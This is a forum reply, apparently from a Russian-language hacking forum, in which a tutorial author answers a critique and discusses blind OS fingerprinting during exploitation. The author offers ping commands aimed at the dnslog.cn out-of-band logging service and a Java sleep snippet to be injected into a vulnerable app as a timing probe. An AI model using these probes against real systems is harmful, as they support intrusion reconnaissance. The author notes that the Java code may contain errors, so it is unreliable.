- Автор темы
- Добавить закладку
- #21
You're completely right and I agree with you, in the tutorial I gave a simple example for finding the operating system via nslookup query but there are many ways to identify the operating system one other way using dns is to use the ping for exampleСтатья отличная, но некоторые утверждения - сомнительны.
В случае, если DNS запросы в операционной системе блокированы брандмауером или используемый dns-резолвер не работает, то ответ всё равно не придёт вне зависимости от операционной системы. То есть, если на виндоус не отвечают днс-запросы, то результата не будет , но это вовсе не значит, что ОС - не виндоус.
Кроме того, программа nslookup кажись имеет немного другой синтаксис:
nslookup domain.com IP-dns-server
Например:
nslookup ya.ru 8.8.8.8
nslookup yandex.com 10.152.152.10
Адрес сервера ДНС можно не указывать. В этом случае будет использоваться системный сервер.
Команда для определения ОС - не совершенна )). Но в данном случае прокатила - повезло ))
For windows
ping -n 1 xxzza.xxxx.dnslog.cn
The first step the ping will do is to send A Dns query to findout the ip address of the dns name and in result for that we will get a result in dnslog.cn portal
And he same thing can be done for linux
ping -c 1 dns_host
Another way if the dns is blocked by the firewall is by implementing a java code inside th3 vulnerability with sleep statement
It will be something like
If(System.getProperty("os.name").contains("linux"){
Thread.sleep(10000);
}
So if the operating system is linux, the response will be delayed 10 seconds and the same thing for windows
The above code maybe contains some errors cause I'm writing the answer from my phone

Anyway, the way that I used in the tutorial was the easiest way





we are inside the oracle server